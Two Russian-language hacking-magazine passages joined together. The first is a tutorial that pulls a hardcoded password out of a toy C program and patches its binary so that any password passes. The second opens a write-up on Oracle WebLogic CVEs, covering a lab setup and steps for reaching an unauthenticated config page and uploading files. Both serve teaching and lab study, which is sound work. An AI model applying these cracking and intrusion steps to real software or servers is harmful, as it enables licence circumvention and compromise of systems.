// введенной пользователем
int main()
{
   // Счетчик неудачных попыток аутентификации 
   int count=0;
   // Буфер для пароля, введенного пользователем 
   char buff[PASSWORD_SIZE];
   // Главный цикл аутентификации 
   for(;;)
   {
       // Запрашиваем и считываем пользовательский 
       // пароль
       printf("Enter password:"); 
       fgets(&buff[0],PASSWORD_SIZE,stdin);
       // Сравниваем оригинальный и введенный пароль 
       if (strcmp(&buff[0],PASSWORD))
       // Если пароли не совпадают — «ругаемся»
       printf("Wrong password\n");
       // Иначе (если пароли идентичны)
       // выходим из цикла аутентификации
       else break;
       // Увеличиваем счетчик неудачных попыток 
       // аутентификации и, если все попытки 
       // исчерпаны, завершаем программу 
       if (++count>3) return ‐1;
   }
   // Раз мы здесь, то пользователь ввел правильный 
   // пароль 
   printf("Password OK\n");
}

В  популяр ных  кинофиль мах  кру тые  хакеры  лег ко  про ника ют  в  любые  жут ко
защищен ные  сис темы,  каким‐то  непос тижимым  обра зом  уга дывая  иско мый
пароль с нес коль ких попыток. Почему бы не поп робовать пой ти их путем?

Не так уж ред ко пароли пред став ляют собой осмыслен ные сло ва наподо‐ 
бие Ferrari, QWERTY, име на любимых хомяч ков или наз вания геог рафичес ких
пун ктов.  Уга дыва ние  пароля  срод ни  гаданию  на  кофей ной  гуще —  никаких
гаран тий на успех нет, оста ется рас счи тывать на одно лишь везение. А уда ча,
как извес тно, пти ца гор дая — палец в рот ей не кла ди. Нет ли более надеж‐ 
ного спо соба взло ма?

Да вай те подума ем. Раз эта лон ный пароль хра нит ся в теле прог раммы, то,
если  он  не  зашиф рован  каким‐нибудь  хит рым  обра зом,  его  мож но  обна‐ 
ружить три виаль ным прос мотром дво ично го кода прог раммы. Переби рая все
встре тив шиеся в ней тек сто вые стро ки, начиная с тех, что более все го сма‐ 
хива ют  на  пароль,  мы  очень  быс тро  под берем  нуж ный  ключ  и  откро ем  им
прог рамму!  При чем  область  прос мотра  мож но  сущес твен но  сузить  —
в  подав ляющем  боль шинс тве  слу чаев  ком пилято ры  раз меща ют  все  ини‐ 
циали зиро ван ные перемен ные в сег менте дан ных (в PE‐фай лах он раз меща‐ 
ется в сек ции .data или .rdata). Исклю чение сос тавля ют, пожалуй, ран ние баг‐ 
дад ские  (Borland’овые) ком пилято ры с их мани акаль ной любовью всо вывать
тек сто вые  стро ки  в  сег мент  кода —  непос редс твен но  по  мес ту  их  вызова.
Это  упро щает  сам  ком пилятор,  но  порож дает  мно жес тво  проб лем.  Сов‐ 
ремен ные опе раци онные сис темы, в отли чие от ста руш ки MS‐DOS, зап реща‐ 
ют модифи кацию кодово го сег мента, и все раз мещен ные в нем перемен ные
дос тупны лишь для чте ния. К тому же на про цес сорах с раз дель ной сис темой
кеширо вания они «засоря ют» кодовый кеш, попадая туда при упрежда ющем
чте нии, но при пер вом же обра щении к ним вновь заг ружа ются из мед ленной
опе ратив ной  памяти  (кеша  вто рого  уров ня)  в  кеш  дан ных.  В  резуль тате  —
тор моза и падение про изво дитель нос ти.

Что ж, пусть это будет сек ция дан ных! Оста ется толь ко най ти удоб ный инс‐ 
тру мент  для  прос мотра  дво ично го  фай ла. Мож но,  конеч но,  нажать  кла вишу
F3  в  сво ей  любимой  обо лоч ке  (FAR,  нап ример)  и,  при давив  кир пичом  кла‐ 
вишу  Page  Down,  любовать ся  бегущи ми  цифирь ками  до  тех  пор,  пока
не надо ест.

Мож но  вос поль зовать ся  любым  hex‐редак тором  (QView,  Hiew...)  —  кому
какой  по  вку су,  —  но  в  статье,  по  сооб ражени ям  наг ляднос ти,  при веден
резуль тат работы ути литы DUMPBIN из штат ной пос тавки Microsoft Visual Stu‐
dio. DUMPBIN запус кает ся из Developer Command Prompt.

Нат равим  ути литу  на  исполня емый  файл  нашей  прог раммы,  в  котором
лежит пароль, и поп росим ее рас печатать содер жащую ини циали зиро ван ные
толь ко  для  чте ния  дан ные  сек цию  rdata  (ключ  )  в  «сыром»
виде  (ключ  ),  ука зав  зна чок    для  перенап равле ния  вывода
в  файл  (ответ  прог раммы  занима ет  мно го  мес та,  и  на  экра не  помеща ется
один лишь «хвост»).

/SECTION:.rdata
/RAWDATA:BYTES >

Лис тинг 2
> dumpbin /RAWDATA:BYTES /SECTION:.rdata passCompare1.exe > rdata.txt
004020E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
004020F0: 18 30 40 00 68 30 40 00 45 6E 74 65 72 20 70 61  .0@.h0@.Enter pa
00402100: 73 73 77 6F 72 64 3A 00 6D 79 47 4F 4F 44 70 61  ssword:.myGOODpa
00402110: 73 73 77 6F 72 64 0A 00 57 72 6F 6E 67 20 70 61  ssword..Wrong pa
00402120: 73 73 77 6F 72 64 0A 00 50 61 73 73 77 6F 72 64  ssword..Password
00402130: 20 4F 4B 0A 00 00 00 00 00 00 00 00 00 00 00 00   OK.............
00402140: 00 00 00 00 90 0A C1 5B 00 00 00 00 02 00 00 00  ......A[........
00402150: 48 00 00 00 24 22 00 00 24 14 00 00 00 00 00 00  H...$"..$.......

Сре ди  все го  про чего  тут  есть  одна  стро ка,  до  боли  похожая  на  эта лон ный
пароль  (в  тек сте  она  выделе на  жир ным шриф том).  Испы таем  ее? Впро чем,
какой  смысл  —  судя  по  исходно му  тек сту  прог раммы,  это  дей стви тель но
иско мый пароль, откры вающий защиту, слов но золотой клю чик. Слиш ком уж
вид ное мес то выб рал ком пилятор для его хра нения — пароль не мешало бы
зап рятать и получ ше.

Один из спо собов сде лать это — насиль но помес тить эта лон ный пароль
в собс твен норуч но выб ранную нами сек цию. Такая воз можность не пре дус‐ 
мотре на  стан дартом,  и  потому  каж дый  раз работ чик  ком пилято ра  (стро го
говоря, не ком пилято ра, а лин кера, но это не суть важ но) волен реали зовы‐ 
вать  ее  по‐сво ему  или  не  реали зовы вать  вооб ще.  В  Microsoft  Visual  C++
для  этой  цели  пре дус мотре на  спе циаль ная  праг ма  data_seg,  ука зыва ющая,
в какую сек цию помещать сле дующие за ней ини циали зиро ван ные перемен‐ 
ные.  Неини циали зиро ван ные  перемен ные  по  умол чанию  рас полага ются
в сек ции .bss и управля ются праг мой bss_seg соот ветс твен но.

В лис тинг 1 перед фун кци ей main добавим новую сек цию, в которой будем
хра нить наш пароль:

// С этого момента все инициализированные переменные будут 
// размещаться в секции .kpnc
#pragma data_seg(".kpnc") 
#define PASSWORD_SIZE 100
#define PASSWORD "myGOODpassword\n"
char passwd[] = PASSWORD;
#pragma data_seg()

Внут ри фун кции main про ини циали зиру ем мас сив:

// Теперь все инициализированные переменные вновь будут 
// размещаться в секции по умолчанию, то есть .rdata 
char buff[PASSWORD_SIZE]="";

Нем ного изме нилось усло вие срав нения строк в цик ле:

if (strcmp(&buff[0],&passwd[0]))

Нат равим ути литу DUMPBIN на новый исполня емый файл:

> dumpbin /RAWDATA:BYTES /SECTION:.rdata passCompare2.exe > rdata.txt
004020C0: D3 17 40 00 00 00 00 00 D8 11 40 00 00 00 00 00  O.@.....O.@.....
004020D0: 00 00 00 00 2C 11 40 00 D0 11 40 00 00 00 00 00  ....,.@.?.@.....
004020E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
004020F0: 18 30 40 00 68 30 40 00 45 6E 74 65 72 20 70 61  .0@.h0@.Enter pa
00402100: 73 73 77 6F 72 64 3A 00 57 72 6F 6E 67 20 70 61  ssword:.Wrong pa
00402110: 73 73 77 6F 72 64 0A 00 50 61 73 73 77 6F 72 64  ssword..Password
00402120: 20 4F 4B 0A 00 00 00 00 00 00 00 00 00 00 00 00   OK.............
00402130: 00 00 00 00 6F CB C4 5B 00 00 00 00 02 00 00 00  ....oEA[........
00402140: 48 00 00 00 14 22 00 00 14 14 00 00 00 00 00 00  H...."..........
00402150: 6F CB C4 5B 00 00 00 00 0C 00 00 00 14 00 00 00  oEA[............

Ага, теперь в сек ции дан ных пароля нет и хакеры «отды хают»! Но не спе шите
с  вывода ми.  Давай те  сна чала  выведем  на  экран  спи сок  всех  сек ций,  име‐ 
ющих ся в фай ле:

> dumpbin passCompare2.exe
Summary
   1000 .data
   1000 .kpnc
   1000 .rdata
   1000 .reloc
   1000 .rsrc
   1000 .text

Нес тандар тная сек ция .kpnc сра зу же при ковы вает к себе вни мание. А ну‐ка
пос мотрим, что там в ней?

> dumpbin /SECTION:.kpnc /RAWDATA passCompare2.exe
RAW DATA #4
   00404000: 6D 79 47 4F 4F 44 70 61 73 73 77 6F 72 64 0A 00  myGOODpassword..

Вот  он,  пароль!  Спря тали,  называ ется…  Мож но,  конеч но,  извра тить ся
и засунуть сек ретные дан ные в сек цию неини циали зиро ван ных дан ных (.bss)
или даже сек цию кода (.text) — не все там догада ются поис кать, а работос‐ 
пособ ность прог раммы такое раз мещение не нарушит. Но не сто ит забывать
о  воз можнос ти  авто мати зиро ван ного  поис ка  тек сто вых  строк  в  дво ичном
фай ле. В какой бы сек ции ни содер жался эта лон ный пароль, филь тр без тру‐ 
да  его  най дет  (единс твен ная  проб лема —  опре делить,  какая  из  мно жес тва
тек сто вых  строк  пред став ляет  собой  иско мый  ключ;  воз можно,  пот ребу ется
переб рать с десяток‐дру гой потен циаль ных «кан дидатов»).

ШАГ ВТОРОЙ. ЗНАКОМСТВО С ДИЗАССЕМБЛЕРОМ
О’кей,  пароль  мы  узна ли.  Но  как  же  уто митель но  вво дить  его  каж дый  раз
с  кла виату ры  перед  запус ком  прог раммы!  Хорошо  бы  ее  хак нуть  так,  что бы
никакой пароль вооб ще не зап рашивал ся или любой вве ден ный пароль прог‐ 
рамма вос при нима ла бы как пра виль ный.

Хак нуть,  говори те?  Что  ж,  это  нес ложно!  Куда  проб лематич нее  опре‐ 
делить ся, чем имен но ее хакать. Инс тру мен тарий хакеров чрез вычай но раз‐ 
нооб разен, чего тут толь ко нет: и дизас сем бле ры, и отладчи ки, и API‐, и mes‐
sage‐шпи оны,  и  монито ры  обра щений  к  фай лам  (пор там,  реес тру),  и  рас‐ 
паков щики исполня емых фай лов, и… Слож новато начина юще му кодоко пате‐ 
лю со всем этим хозяй ством разоб рать ся!

Впро чем,  шпи оны,  монито ры,  рас паков щики —  вто рос тепен ные  ути литы
зад него пла на, а основное ору жие взлом щика — отладчик и дизас сем блер.

Итак,  дизас сем блер  при меним  для  иссле дова ния  откомпи лиро ван ных
прог рамм и  час тично при годен для ана лиза псев доком пилиро ван ного  кода.
Раз  так,  он  дол жен  подой ти  для  вскры тия  пароль ной  защиты
passCompare1.exe. Весь воп рос в том, какой дизас сем блер выб рать.

Не  все  дизас сем бле ры  оди нако вы.  Есть  сре ди  них  и  «интеллек туалы»,
авто мати чес ки рас позна ющие мно гие конс трук ции, как то: про логи и эпи логи
фун кций, локаль ные перемен ные, перек рес тные ссыл ки, а есть и «прос таки»,
чьи  спо соб ности  огра ниче ны  одним  лишь  перево дом  машин ных  команд
в ассем блер ные инс трук ции.

Ло гич нее все го вос поль зовать ся услу гами дизас сем бле ра‐интеллек туала
(если он есть), но… давай те не будем спе шить, а поп робу ем выпол нить весь
ана лиз вруч ную. Тех ника, понят ное дело, шту ка хорошая, да вот не всег да она
ока зыва ется  под  рукой,  и  неп лохо  бы  заранее  научить ся  работе  в  полевых
усло виях.  К  тому  же  обще ние  с  пло хим  дизас сем бле ром  как  нель зя  луч ше
под черки вает «вкус ности» хороше го.

Вос поль зуем ся уже зна комой нам ути литой DUMPBIN, нас тоящим «швей‐ 
цар ским  ножиком»  со  мно жес твом  полез ных  фун кций,  сре ди  которых  при‐ 
таил ся  и  дизас сем блер.  Дизас сем бли руем  сек цию  кода  (как  мы  пом ним,
носящую имя .text), перенап равив вывод в файл, так как на экран он, оче вид‐ 
но, не помес тится:

> dumpbin /SECTION:.text /DISASM passCompare1.exe > code‐text.txt

Заг лянем еще раз в сек цию дан ных  (или в дру гую — в зависи мос ти от того,
где хра нит ся пароль): см. лис тинг 2.

За пом ним  най ден ный  пароль:  .  В  отли чие  от  Visual  C++
6.0, которой поль зовал ся Крис, Visual C++ 2017 не обра щает ся к ини циали‐ 
зиро ван ным перемен ным по шес тнад цатерич ному сме щению, а под став ляет
зна чение  пря мо  в  сек цию  кода.  Таким  обра зом,  поп робу ем  най ти  выяв‐ 
ленный  ранее  пароль  в  дизас сем бли рован ном  лис тинге  три виаль ным  кон‐ 
текс тным поис ком с помощью любого тек сто вого редак тора.

myGOODpassword

0040107D: B9 08 21 40 00     mov         ecx,offset ??_C@_0BA@
PCMCJPMK@myGOODpassword?6?$AA@
00401082: 8A 10              mov         dl,byte ptr [eax]
00401084: 3A 11              cmp         dl,byte ptr [ecx]
00401086: 75 1A              jne         004010A2
00401088: 84 D2              test        dl,dl
0040108A: 74 12              je          0040109E

Смот рите, цен траль ная часть это го лис тинга отве чает за срав нение зна чений
регис тров EAX и ECX. В пос ледний, как мы видим, в пер вой стро ке лис тинга
записы вает ся  эта лон ный  пароль,  сле дова тель но,  в  пер вом  —  вве ден ный
поль зовате лем. Затем про исхо дит срав нение и выпол няют ся перехо ды поч ти
в одну и ту же точ ку: 0x4010A2 и 0x40109E. Заг лянем, что там:

0040109E: 33 C0              xor         eax,eax
004010A0: EB 05              jmp         004010A7
004010A2: 1B C0              sbb         eax,eax
004010A4: 83 C8 01           or          eax,1
004010A7: 85 C0              test        eax,eax
004010A9: 74 63              je          0040110E
004010AB: 0F 1F 44 00 00     nop         dword ptr [eax+eax]
004010B0: 68 18 21 40 00     push        offset ??_C@_0BA@EHHIHKNJ@
Wrong?5password?6?$AA@
004010B5: E8 56 FF FF FF     call        _printf

Здесь  цен траль ную  роль  игра ет  инс трук ция  ,  рас положен ная
по сме щению 0x4010A7. В слу чае если eax равен 0, сле дующая за ней коман‐ 
да JE совер шает пры жок на 0x40110E. В про тив ном же слу чае на вер шину сте‐ 
ка вытал кива ется стро ка Wrong password:

test  eax,eax

push        offset ??_C@_0BA@EHHIHKNJ@Wrong?5password?6?$AA@

а сле дом — вызов фун кции с говоря щим наз вани ем:

call        _printf

Зна чит, ненуле вое зна чение EAX сви детель ству ет о лож ном пароле, а ноль —
об истинном.

О’кей,  тог да  перехо дим  к  ана лизу  валид ной  вет ви  прог раммы,  что  дела‐ 
ется  пос ле  прыж ка  на  0x40110E.  А  тут  при таилась  инс трук ция,  которая
помеща ет стро ку Password OK на вер шину сте ка, пос ле чего вызыва ется про‐ 
цеду ра _printf, которая, оче вид но, выводит стро ку на экран:

0040110E: 68 28 21 40 00     push        offset ??_C@_0N@MBEFNJID@
Password?5OK?6?$AA@
00401113: E8 F8 FE FF FF     call        _printf

Опе ратив ные сооб ражения сле дующие: если заменить коман ду JE на JNE, то
прог рамма  отвер гнет  истинный  пароль  как  неп равиль ный,  а  любой  неп‐ 
равиль ный  пароль  вос при мет  как  истинный.  А  если  заменить  TEST  EAX,EAX
на XOR EAX,EAX, то пос ле исполне ния этой коман ды регистр EAX будет всег‐ 
да равен нулю, какой бы пароль ни вво дил ся.

Де ло за малым — най ти эти самые бай тики в исполня емом фай ле и слег ка
под пра вить их.

ШАГ ТРЕТИЙ. ХИРУРГИЧЕСКИЙ
Вне сение  изме нений  непос редс твен но  в  исполня емый  файл —  дело  серь‐ 
езное.  Стис нутым  уже  сущес тву ющим  кодом,  нам  при ходит ся  доволь ство‐ 
вать ся  толь ко  тем,  что есть, и ни раз дви нуть  коман ды, ни даже сдви нуть их,
выкинув  из  защиты  «лиш ние  зап части»,  не  получит ся.  Ведь  это  при вело  бы
к  сдви гу  сме щений  всех  осталь ных  команд,  тог да  как  зна чения  ука зате лей
и адре сов перехо дов оста лись бы без изме нений и ста ли бы ука зывать сов‐ 
сем не туда, куда нуж но!

Ну,  с  «выкиды вани ем зап частей» спра вить ся  как раз  таки прос то — дос‐ 
таточ но  забить  код  коман дами  NOP  (опкод  которой  0x90,  а  вов се  не  0x0,
как почему‐то дума ют мно гие начина ющие кодоко пате ли), то есть пус той опе‐ 
раци ей  (вооб ще‐то  NOP  —  это  прос то  дру гая  фор ма  записи  инс трук ции
XCHG EAX,EAX — если инте рес но). С «раз движ кой» куда слож нее! К счастью,
в  PE‐фай лах  всег да  при сутс тву ет  мно жес тво  «дыр»,  оставших ся  от  вырав‐ 
нивания, в них‐то и мож но раз местить свой код или свои дан ные.

Но не про ще ли прос то откомпи лиро вать ассем бли рован ный файл, пред‐ 
варитель но вне ся в него тре буемые изме нения? Нет, не про ще, и вот почему:
если ассем блер не рас позна ет ука зате ли, переда ваемые фун кции (а как мы
видели,  наш  дизас сем блер  не  смог  отли чить  их  от  кон стант),  он,  соот ветс‐ 
твен но, не позабо тит ся дол жным обра зом их скор ректи ровать, и, естес твен‐ 
но, прог рамма работать не будет.

При ходит ся резать прог рамму вжи вую. Лег че все го это делать с помощью
ути литы  Hiew,  «перева рива ющей»  PE‐фор мат  фай лов  и  упро щающей  тем
самым поиск нуж ного фраг мента. Подой дет  любая  вер сия  это го  hex‐редак‐ 
тора. Нап ример,  я  исполь зовал  далеко  не  самую  новую  вер сию  6.86,  прек‐ 
расно ужи вающуюся с Windows 10. Запус тим ее, ука зав имя фай ла в коман‐ 
дной  стро ке  hiew32  passCompare1.exe,  двой ным  нажати ем  кла виши  Enter,
перек лючим ся  в  режим  ассем бле ра  и  при  помощи  кла виши  F5  перей дем
к тре буемо му адре су. Как мы пом ним, коман да TEST, про веря ющая резуль тат
на равенс тво нулю, рас полага лась по адре су 0x4010A7.

Что бы Hiew мог отли чить адрес от сме щения в самом фай ле, пред варим
его сим волом точ ки: .4010A7.

004010A7: 85 C0              test        eax,eax
004010A9: 74 63              je          0040110E

Ага, как раз то, что нам надо! Наж мем кла вишу F3 для перево да Hiew в режим
прав ки,  под ведем  кур сор  к  коман де  TEST  EAX,EAX  и,  нажав  кла вишу  Enter,
заменим ее на XOR EAX,EAX.

004010A7: 33 C0              xor         eax,eax
004010A9: 74 63              je          0040110E

Hiew в режиме прав ки ассем блер ной коман ды

С  удов летво рени ем заметив,  что новая  коман да  в  акку рат  впи салась  в  пре‐ 
дыду щую, наж мем кла вишу F9 для сох ранения изме нений на дис ке, а  затем
вый дем из Hiew и поп робу ем запус тить прог рамму, вво дя пер вый при шед ший
на ум пароль:

>passCompare1
Enter password:Привет, шляпа!
Password OK

По лучи лось!  Защита  пала!  Хорошо,  а  как  бы мы  дей ство вали,  не  умей Hiew
«перева ривать»  PE‐фай лы?  Тог да  приш лось  бы  при бег нуть  к  кон текс тно му
поис ку.  Обра тим  свой  взор  на  шес тнад цатерич ный  дамп,  рас положен ный
дизас сем бле ром  сле ва  от  ассем блер ных  команд.  Конеч но,  если  пытать ся
най ти  пос ледова тель ность  85  C0  —  код  коман ды  TEST  EAX,EAX,  ничего
хороше го из это го не вый дет — этих самых TEST’ов в прог рамме может быть
нес коль ко сотен, а то и боль ше. А вот адрес перехо да, ско рее все го, во всех
вет ках  прог раммы  раз личен,  и  подс тро ка  TEST  EAX,EAX/JE  0040110E  име ет
хорошие шан сы на уни каль ность. Поп робу ем най ти в фай ле соот ветс тву ющий
ей код: 85 C0 74 63 (в Hiew для это го дос таточ но нажать кла вишу F7).

Опп‐с!  Най дено  толь ко  одно  вхож дение,  что  нам,  собс твен но,  и  нуж но.
Давай те  теперь  поп робу ем  модифи циро вать  файл  непос редс твен но  в  hex‐
режиме,  не  перехо дя  в  ассем блер.  Попут но  возь мем  себе  на  замет ку  —
инверсия  млад шего  бита  кода  коман ды  при водит  к  изме нению  усло вия
перехо да на про тиво полож ное, то есть 74 JE → 75 JNE.

Hiew в режиме прав ки шес тнад цатерич ного кода

Ра бота ет?  В  смыс ле  защита  свих нулась  окон чатель но  —  не  приз нает
истинные пароли, зато радос тно при ветс тву ет осталь ные. Замеча тель но!

Взло ман ная прог рамма при нима ет любые пароли

ПРОДОЛЖЕНИЕ СЛЕДУЕТ?
Итак, ты про чел (про чел ведь?) началь ный отры вок клас сичес кой кни ги Кри са
Кас пер ски  «Фун дамен таль ные  осно вы  хакерс тва»  в  сов ремен ном  пере‐ 
осмысле нии. Получи лось ли у нас обно вить эти зна ния до акту аль ного уров‐ 
ня? Сто ит ли про дол жать? Поделись сво им мне нием в  .ком мента риях
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ВЗЛОМ

В этой статье мы погово рим сра зу о нес коль ких уяз вимос тях
в  сер вере  при ложе ний  Oracle  WebLogic,  написан ном
на Java. Этот про дукт безум но популя рен в энтер прайз‐сре‐ 
де и попада ется пос тоян но на перимет рах раз ных ком паний
от мала до  велика.  Уяз вимос ти  носят  кри тичес кий  харак тер
и  поз воля ют  зло умыш ленни ку  выпол нить  про изволь ный  код
на целевой сис теме.

Oracle  WebLogic  —  это  решение  для  пос тро ения  сер вис‐ори енти рован ной
архи тек туры  (SOA),  соз дания  фун кци ональ ных  пакетов  раз ного  уров ня  свя‐ 
зан ности  и  слож ности.  Под  угро зой  ока зались  все  акту аль ные  вер сии  при‐ 
ложе ния — 10.3.6.0, 12.1.3.0, 12.2.1.3 и ниже.

УЯЗВИМОСТИ
  поз воля ет  заг ружать  про изволь ные  фай лы  в  сис тему,  в  том

чис ле исполня емые (типа JSP), которые затем дос тупны через веб.
CVE‐2018‐2894

 — XXE при заг рузке XML‐фай ла в качес тве тес тового сце‐ 
нария в ком понен те Web Services Test Client.

CVE‐2018‐3246

,    —  выпол нение  про изволь ного  кода
при помощи про токо ла JRMP.

CVE‐2018‐2628 CVE‐2018‐3252

 — выпол нение про изволь ного кода путем десери али зации
про изволь ных объ ектов Java, передан ных через POST‐зап рос.

CVE‐2018‐3191

СТЕНД
Я  буду  под нимать  сер вер WebLogic  вер сии  12.2.1.3.0  на  сис теме Windows.
Ска чива ем инстал лятор с офи циаль ного сай та Oracle из  .
Для  кор рек тной  уста нов ки  и  работы  WebLogic  пот ребу ется  JDK
выше 1.8.0.130.

раз дела Downloads

java.exe ‐jar fmw_12.2.1.3.0_wls_quick.jar

Ес ли хочешь исполь зовать вер сию ниже, то можешь отклю чить эту про вер ку,
добавив ключ  .‐ignoreSysPrereqs

Ус танов ка WebLogic 12.2.1.3.0 в Windows

Те перь  нуж но  соз дать  домен WebLogic.  Для  это го  запус каем  кон фигура тор
из домаш ней дирек тории сер вера:

oracle_common\common\bin\config.cmd

Соз дание домена в WebLogic

На пер вом эта пе нуж но ука зать, куда будут сох ранены все воз можные кон фиги
и  про чие  при чин далы  для  ново испе чен ного  домена.  Рекомен дую  оста вить
по дефол ту, для тес та это абсо лют но неваж но.

На вто ром эта пе выбира ем все воз можные шаб лоны.

Вы бор шаб лонов при соз дании домена

За тем ука зыва ем связ ку логин‐пароль для адми на, режим работы домена —
«раз работ ка» или production. А так же мож но допол нитель но нас тро ить пор ты
и  сетевые  устрой ства,  на  которых  будет  висеть  сер вер.  Для  это го  отме чай
гал кой Administration Server в раз деле Advanced Configuration.

До пол нитель ные нас трой ки при соз дании домена WebLogic

Пос ле это го жмем на кноп ку Create, отки дыва емся на спин ку крес ла и ждем
соз дания нового домена. Это быс тро, так что далеко отки нуть ся не успе ешь.

Прог ресс соз дания нового домена в WebLogic

Те перь  жмем  на  Next  и  попада ем  на  пос леднее  окно,  где  мож но  отме тить
галоч кой  пункт  Start  Admin  Server  для  немед ленно го  запус ка  того,  что  мы
након фигури рова ли. Жмем на Finish. Если галоч кой ты не вос поль зовал ся, то
запус тить  сер вер мож но  так же  через  коман дную  стро ку. Для  это го  заходим
в домаш нюю дирек торию WebLogic и выпол няем

user_projects\domains\base_domain\startWebLogic.cmd

Ра зуме ется, путь акту ален, если ты не менял дефол тные нас трой ки при соз‐ 
дании домена.

Го товый стенд WebLogic

Те, кто не любит слож ности, могут исполь зовать Docker и готовый образ с 
. Готовый стенд под нима ется одной коман дой:

Vul‐
Hub

docker run ‐p7001:7001 ‐‐name weblogic ‐‐rm vulhub/weblogic:12.2.1.3

Это вер сия 12.2.1.3, а если нуж на 10.3.6.0, то выпол няй

docker run ‐p7001:7001 ‐‐name weblogic ‐‐rm vulhub/weblogic

Продолжение статьи →

https://twitter.com/iamsecurity
https://nvd.nist.gov/vuln/detail/CVE-2018-2894
https://nvd.nist.gov/vuln/detail/CVE-2018-3246
https://nvd.nist.gov/vuln/detail/CVE-2018-2628
https://nvd.nist.gov/vuln/detail/CVE-2018-3252
https://nvd.nist.gov/vuln/detail/CVE-2018-3191
https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-main-097127.html
https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2894/
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

ЗАГРУЗКА ПРОИЗВОЛЬНЫХ ФАЙЛОВ НА СЕРВЕР (CVE-2018-2893,
CVE-2018-2894)
Пер вая уяз вимость при сутс тву ет в ком понен те  .
Он дос тупен по адре су  . Перей дя на него, ты уви дишь окно авто риза‐ 
ции.

Web Services Test Client
/ws_utc/

Фор ма вхо да в Web Services Test Client

Од нако  не  спе ши  зак рывать  окно  и  расс тра ивать ся,  ведь  раз работ чики
забыли кое‐что важ ное — добавить про вер ку на валид ную сес сию в раз дел
кон фигура ции дан ного раз дела. И если сер вер работа ет в режиме develop‐
ment, то получить к нему дос туп мож но, прос то перей дя на  ./ws_utc/config.do

ws-testpage-
impl.jar.src/com/oracle/webservices/testclient/web/Processor.java
40:   public Forward config() {
41:     if (RequestUtil.isProductionMode()) {
42:       this.response.setStatus(503);
43:       return null;
44:     }
45:     String defaultType = this.request.getParameter("default");
46:     if (defaultType == null) {
47:       defaultType = "";
48:     }
49:     this.request.setAttribute("default", defaultType);
50:     return new Forward("setting");
51:   }

Стра ница кон фигура ции Web Services Test Client дос тупна без авто риза ‐
ции

Ос новные исходни ки это го ком понен та ты най дешь в фай ле

<weblogic_home>/user_projects/domains/base_domain/servers/AdminServer
/tmp/_WL_internal/com.oracle.webservices.wls.ws‐testclient‐app‐wls/4
mcj4y/war/WEB‐INF/lib/ws‐testpage‐impl.jar

Уже  мож но  воору жать ся    или  вос поль зовать ся 
, что бы пос мотреть поб лиже на логику работы при ложе ния.

JD‐GUI он лай новым  деком‐ 
пилято ром

На деюсь,  ты  пом нишь  про  нас трой ку    на  стра нице  кон‐ 
фига? В ней ука зыва ется путь,  где рас положе ны фай лы, нуж ные для работы
тес тового  кли ента,  при чем  есть  воз можность  этот  путь  менять.  Пос ле  вне‐ 
сения  изме нений  уже  сущес тву ющая  струк тура,  вклю чая  фай лы  и  пап ки,
перено сит ся из ста рой дирек тории в новую.

Work  Home  Dir

ws-testpage-
impl.jar.src/com/oracle/webservices/testclient/setting/TestClient-
WorkDirManager.java
61:   public void changeWorkDir(String path) {
62:     String[] oldPaths = getRelatedPaths();
63:
64:     if (this.testPageProvider.getWsImplType() == ImplType.JRF) {
65:       this.isWorkDirChangeable = false;
66:       this.isWorkDirWritable = isDirWritable(path);
67:       this.isWorkDirChangeable = true;
68:       setTestClientWorkDir(path);
69:     } else {
70:       persistWorkDir(path);
71:       init();
72:     }
73:
74:     if (this.isWorkDirWritable) {
75:       String[] newPaths = getRelatedPaths();
76:       moveDirs(oldPaths, newPaths);

Сле дующий шаг в нашем спис ке дел — это най ти такую дирек торию, которая
будет дос тупна из веба. Отлично подой дет  , она рас положе на при мер но
по тому же пути, где валял ся jar: 

.  В  зависи мос ти
от  име ни  сер вера  будет  изме нять ся  часть  ,  а  в  зависи мос ти
от вер сии WebLogic — часть  . Пос ле того как мы сох раним изме нения,
вся струк тура при ложе ния будет дос тупна из веба. Пока там у нас толь ко один
кон фиг  , но это ненадол го.

css
<weblogic_home>/user_projects/domains/

base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.web‐
services.wls.ws‐testclient‐app‐wls/4mcj4y/war/css

AdminServer
4mcj4y

general

Из менили рабочую дирек торию в Web Services Test Client

По меняв  рабочую  дирек торию,  перехо дим  в  раз дел  Security.  Там  име ется
воз можность заг ружать фай лы клю чевых хра нилищ (keystore).

Раз дел Security нас тро ек тес тового кли ента Web Services

Жми на кноп ку  , выбирай любой файл, а даль ше  .Add Submit

До бав ление нового клю чево го хра нили ща

При  заг рузке  фай ла  зап рос  уле тает  на 
, где параметр   отве чает за вре‐ 

мя отправ ки POST‐зап роса. Логика обра бот ки фор мы типа 
 рас положе на в фай ле  .

/ws_utc/resources/setting/key‐
store?timestamp=1540385552610 timestamp

multipart/form‐
data RSDataHelper.java

ws-testpage-
impl.jar.src/com/oracle/webservices/testclient/ws/res/SettingRe-
source.java
186:   @Path("/keystore")
187:   @POST
188:   @Produces({"application/xml", "application/json"})
189:   @Consumes({"multipart/form‐data"})
190:   public Response editKeyStoreSettingByMultiPart(org.glassfish.
jersey.media.multipart.FormDataMultiPart formPartParams) {
...
200:     String currentTimeValue = "" + new Date().getTime();
...
203:     KeyValuesMap<String, String> formParams = RSDataHelper.
getInstance().convertFormDataMultiPart(formPartParams, true, TestCl
ientRT.getKeyStorePath(), currentTimeValue);

Все фай лы сох раня ются в пап ку  .keystore

ws-testpage-
impl.jar.src/com/oracle/webservices/testclient/core/ws/cdf/config/pa
rameter/TestClientRT.java
29:   public static String getKeyStorePath() {
30:     return getConfigDir() + File.separator + "keystore";
31:   }

А в качес тве пре фик са исполь зует ся текущая дата в фор мате вре мени Unix.

ws-testpage-
impl.jar.src/com/oracle/webservices/testclient/ws/util/RSData-
Helper.java
098:   public KeyValuesMap<String, String> convertFormDataMultiPart(
FormDataMultiPart formPartParams, boolean isExtactAttachment, String 
path)
099:   {
100:     return convertFormDataMultiPart(formPartParams, isExta
ctAttachment, path, null);
101:   }
102:
103:   public KeyValuesMap<String, String> convertFormDataMultiPart(
FormDataMultiPart formPartParams, boolean isExtactAttachment, String 
path, String fileNamePrefix)
104:   {
...
109:     KeyValuesMap<String, String> kvMap = new KeyValuesMapImpl();
110:
111:     Map<String, List<FormDataBodyPart>> fieldMap = formPa
rtParams.getFields();
